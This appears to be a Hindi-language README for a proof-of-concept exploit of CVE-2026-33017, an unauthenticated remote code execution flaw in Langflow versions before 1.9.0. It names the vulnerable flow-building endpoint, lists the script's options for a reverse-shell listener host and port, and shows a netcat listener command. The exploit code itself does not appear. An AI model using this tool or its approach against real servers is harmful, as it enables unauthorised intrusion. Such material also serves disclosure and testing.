CVE-2026-33017 - Langflow RCE भेद्यता

द्वारा शोषित infrar3d

यह प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट Langflow के 1.9.0 से पहले के संस्करणों में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता को लक्षित करता है। यह भेद्यता अप्रमाणित हमलावरों को फ्लो बिल्डिंग API एंडपॉइंट के माध्यम से दुर्भावनापूर्ण Python कोड इंजेक्ट करके मनमानी सिस्टम कमांड निष्पादित करने की अनुमति देती है। भेद्यता /api/v1/build_public_tmp/{flow_id}/flow endpoint में मौजूद है, जो कंपोनेंट टेम्पलेट्स के कोड फील्ड में उपयोगकर्ता द्वारा प्रदान किए गए कोड को अनुचित रूप से सैनिटाइज़ करता है।

उपयोग:

python3 CVE-2026-33017.py --help
usage: CVE-2026-33017.py [-h] -u URL -f FLOW -H HOST [-P PORT]

Langflow RCE Exploit

options:
  -h, --help       show this help message and exit
  -u, --url URL    Target base URL
  -f, --flow FLOW  Flow ID
  -H, --host HOST  Listener host for reverse shell
  -P, --port PORT  Listener port (default: 4444)
                                         

उदाहरण:

पहला टर्मिनल (लिसनर):

nc -lvnp 4444